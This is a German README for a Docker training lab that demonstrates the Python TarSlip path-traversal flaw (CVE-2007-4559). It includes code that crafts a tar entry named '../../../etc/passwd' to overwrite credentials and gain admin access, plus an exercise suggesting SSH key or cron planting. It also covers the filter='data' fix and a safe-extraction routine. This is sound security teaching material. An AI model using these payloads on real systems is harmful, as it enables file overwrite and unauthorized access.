
Eigenständiges Docker-Labor, das CVE-2007-4559 (TarSlip) Directory-Traversal über das Python-tarfile-Modul demonstriert. Enthält anfällige und gepatchte APIs, Payload-Generierung und ein interaktives Demo-Skript für die Sicherheitsschulung.
Nur für Bildungszwecke. Diese Laborumgebung nutzt absichtlich Dateisystem-Schwachstellen in isolierten Docker-Containern aus. Nicht auf Systemen mit sensiblen Daten oder in Produktionsumgebungen ausführen.
Ein in sich geschlossenes Docker-Labor, das CVE-2007-4559 demonstriert – die berüchtigte „TarSlip“-Schwachstelle im Python tarfile-Modul – anhand einer konkreten, durchgängigen Angriffskette:
extractall() schreibt blind einen Tar-Eintrag mit dem Namen ../../../etc/passwd außerhalb des Extraktionsverzeichnisses und überschreibt dabei die echte Systemdatei./admin-Endpunkt.Python's tarfile.extractall() reproduziert getreu jeden Eintrag in einem Tar-Archiv, einschließlich Einträge, deren Namen ../-Pfad-Traversal-Sequenzen enthalten. Es wurde nie als Sicherheitsgrenze konzipiert.
Tar-Eintragsname : ../../../etc/passwd
Extraktionsverz. : /shared/uploads/a1b2c3d4/
aufgelöster Pfad : /shared/uploads/a1b2c3d4/../../../etc/passwd
= /etc/passwd ← Systemdatei überschrieben
Die Demo läuft in drei Abschnitten, die jeweils einen Tastendruck zum Fortfahren erfordern.
GET /admin → 401. Der Admin-Endpunkt existiert und ist geschützt. Der Angreifer kennt das Passwort nicht.innocent.tar.gz → Dateien landen im Sandbox-Verzeichnis. Alles sieht normal aus.Angreifer erstellt tarslip_passwd.tar.gz
└─ Eintrag: "../../../etc/passwd"
Inhalt: admin:hacked:1001:... ← platziertes Passwort
│
▼
POST /upload (Multipart-Datei-Upload)
│
▼
extractall("/shared/uploads/{uuid}/")
löst "../../../etc/passwd" auf → /etc/passwd ← CVE-2007-4559
│
▼
GET /admin Authorization: Basic admin:hacked
│
▼
HTTP 200 — "Welcome, admin! You have full admin access."
Flag: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}
Ein HTTP-POST. Keine Shell. Kein RCE-Payload. Nur eine Tar-Datei.
Das gleiche Tarball wird in die behobene API hochgeladen, die filter='data' an extractall() übergibt. Python wirft tarfile.OutsideDestinationError – der Traversal wird blockiert, /etc/passwd bleibt unberührt und /admin bleibt gesperrt.
# Verwundbar – Standard vor Python 3.14
tar.extractall(extraction_dir)
# Gefixt – PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')
Ein Argument. Fünfzehn Jahre bis zur Auslieferung.
Vier Dienste in einem isolierten Docker-Bridge-Netzwerk (tarslip-net). Kein Zugriff auf das Internet.
┌─────────────────────────────────────────────────────────┐
│ tarslip-net (bridge) │
│ │
│ ┌─────────────────┐ ┌──────────────────────────┐ │
│ │ vulnerable-api │ │ file-server │ │
│ │ python:3.11.3 │ │ nginx:alpine │ │
│ │ port 8000 │ │ port 8080 (host) │ │
│ │ │ │ │ │
│ │ POST /upload │ │ Serves /shared over │ │
│ │ GET /admin │ │ HTTP — browse extracts │ │
│ │ GET /health │ │ visually │ │
│ └────────┬────────┘ └────────────┬─────────────┘ │
│ │ shared-storage volume │ │
│ └────────────────────────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ attacker │ │
│ │ python:3.12 │ (no host port — internal only) │
│ │ │ │
│ │ craft_malicious.py — generates tarballs │
│ │ demo.py — drives the demo │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────┘
Die verwundbare und die behobene API verwenden identischen Quellcode. Der einzige Unterschied ist die Umgebungsvariable USE_SAFE_EXTRACTION=true auf dem behobenen Container, die das einzelne filter='data'-Argument umschaltet.
CVE-2007-4559-lab/
├── run_demo.sh ← start here
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│ ├── app.py # Flask-API: /upload + /admin + /health
│ ├── Dockerfile # seedet admin:s3cr3t_Adm1nPass in /etc/passwd
│ └── requirements.txt
├── file-server/
│ ├── Dockerfile
│ └── nginx.conf
└── attacker/
├── craft_malicious.py # erzeugt innocent.tar.gz + tarslip_passwd.tar.gz
├── demo.py # CLI-Treiber mit vier Modi (craft/baseline/exploit/verify)
├── Dockerfile
└── requirements.txt
docker compose version)bashgit clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh
Das Skript ist vollständig interaktiv. Es zeigt vor jedem Schritt eine Erläuterung an und wartet auf Eingabetaste, um fortzufahren. Für das Mitverfolgen sind keine Docker-Kenntnisse erforderlich.
Für manuelles Durchgehen:
# Verwundbarer Stack
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit
# Behebter Stack
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify
# Aufräumen
docker compose -f docker-compose.fixed.yml down
Während der verwundbare Stack läuft, öffnen Sie http://localhost:8080/uploads/ in Ihrem Browser, um die extrahierten Sitzungsverzeichnisse zu durchsuchen.
/admin-EndpunktsDie API seedet bei der Image-Erstellung ein geheimes Admin-Passwort in /etc/passwd:
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash
GET /admin liest diese Datei und vergleicht das zweite Feld (Passwort) mit den HTTP-Basic-Auth-Anmeldedaten. Der Angreifer kennt s3cr3t_Adm1nPass nicht – aber nachdem TarSlip die Datei mit seiner eigenen Version (admin:hacked) überschrieben hat, kennt er es.
Dies ist ein vereinfachtes Modell realer Angriffsziele: SSH authorized_keys, Anwendungskonfigurationsdateien, Cron-Jobs und jede andere Datei mit Anmeldeinformationen, die der Web-Prozess beschreiben kann.
craft_malicious.py verwendet Pythons eigenes tarfile-Modul – dasselbe, das den Fehler enthält:
def _add_entry(tar, name, content):
info = tarfile.TarInfo(name=name) # name ist der Traversal-Pfad
info.size = len(content)
tar.addfile(info, io.BytesIO(content))
# Der Eintragsname wird zu /etc/passwd aufgelöst, wenn er in /shared/uploads/{uuid}/ extrahiert wird
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)
Keine speziellen Werkzeuge. Keine Binärausnutzung. Die Standardbibliothek ist sowohl die Waffe als auch das Opfer.
Python 3.12 führte mit PEP 706 filter= ein. Der 'data'-Filter:
tarfile.OutsideDestinationError bei Traversalversuchen# Vorher (verwundbar – bleibt Standard bis Python 3.14)
with tarfile.open(path) as tar:
tar.extractall(dest)
# Nachher (sicher)
with tarfile.open(path) as tar:
tar.extractall(dest, filter='data')
Für Python 3.11 und älter manuell validieren:
import os
def safe_extract(tar, dest):
dest = os.path.realpath(dest)
for member in tar.getmembers():
member_path = os.path.realpath(os.path.join(dest, member.name))
if not member_path.startswith(dest + os.sep):
raise ValueError(f"Unsafe path: {member.name}")
tar.extractall(dest)
Statische Analyse: Die Bandit-Regel B202 markiert unsichere extractall()-Aufrufe in CI.
TarSlip ist Pythons Name für eine Klasse von Schwachstellen, die in jeder Sprache mit Archiv-Extraktions-APIs existiert:
Überall die gleiche Ursache: Vertrauen auf Pfade aus nicht vertrauenswürdigen Archiven. Überall der gleiche Fix: Vor dem Schreiben kanonisch machen und validieren.
Fokus auf dem Vorher/Nachher-Code-Unterschied und der Bandit-Regel B202. Ziel: „Wie verhindern wir das in unserer Codebasis?“ – zeigen Sie die PEP-706-Migrationsanleitung und wie Sie die Prüfung in CI hinzufügen.
Fokus auf der Trellix-Offenlegungsmethodik – wie sie GitHub im großen Stil durchsuchten, die Auswirkungen auf 350.000 Repos abschätzten und die verantwortungsvolle Offenlegung für eine so weit verbreitete Schwachstelle navigierten.
Erweitern Sie craft_malicious.py, um eine SSH authorized_keys-Datei oder einen bösartigen Cron-Eintrag anstelle von /etc/passwd zu platzieren. Gleiche Technik, andere Ziele – zeigt, dass jeder beschreibbare Pfad eine Angriffsfläche ist.
MIT – frei verwendbar für Bildung, Sicherheitsforschung und Konferenz-Demos. Verwenden Sie die Payload-Erstellungstechniken nicht gegen Systeme, die Ihnen nicht gehören.
| Zeitachse |
|---|
| 2007 | Fehler an das Python-Sicherheitsteam gemeldet |
| 2007 – 2022 | Als „kein Sicherheitsproblem“ markiert – tarfile funktioniert „wie vorgesehen“ |
| 2022 | Trellix-Forscher durchsuchen GitHub und finden 350.000+ Repos, die extractall() auf nicht vertrauenswürdige Eingaben aufrufen |
| 2022 | Öffentliche Offenlegung. CVE-2007-4559 taucht wieder auf. Branchenweite Hektik. |
| 2023 | PEP 706 liefert filter='data' in Python 3.12 – der Fix ist ein einziges Argument |
| Dienst | Image | Rolle | Host-Port |
|---|
vulnerable-api | python:3.11.3-slim | Flask-Upload-API + /admin geschützt durch /etc/passwd-Auth | 8000 |
fixed-api | python:3.12-slim | Gleicher Code + USE_SAFE_EXTRACTION=true | 8000 |
file-server | nginx:alpine | Verzeichnislisting extrahierter Dateien | 8080 |
attacker | python:3.12-slim | Payload-Generator + Demo-Treiber | — |
| Halt | Angezeigte Erläuterung | Aktion bei Eingabetaste |
|---|
| 1 | CVE-Zeitachse, Beschreibung der drei Abschnitte | Verwundbaren Stack bauen |
| 2 | Rollen der Container, eingesetztes Admin-Passwort | Payloads generieren |
| 3 | Inhalt jedes Tarballs | Abschnitt 1 – Basislinie |
| 4 | Warum /admin 401 ist, wie normale Extraktion aussieht | Abschnitt 2 – Exploit |
| 5 | Die genaue Traversal-Berechnung, was überschrieben wird | Zum behobenen Stack wechseln |
| 6 | Was filter='data' bewirkt und warum es funktioniert | Abschnitt 3 – Verifikation |
| 7 | Wichtige Erkenntnisse + allgemeines ZipSlip-Muster | Aufräumen |
| Sprache | Verwundbare API | CVE / Advisory |
|---|
| Python | tarfile.extractall() | CVE-2007-4559 |
| Java | ZipInputStream | ZipSlip (2018) |
| Go | archive/zip | ZipSlip (2018) |
| .NET | ZipArchive | ZipSlip (2018) |
| Node.js | tar, adm-zip, andere | ZipSlip (2018) |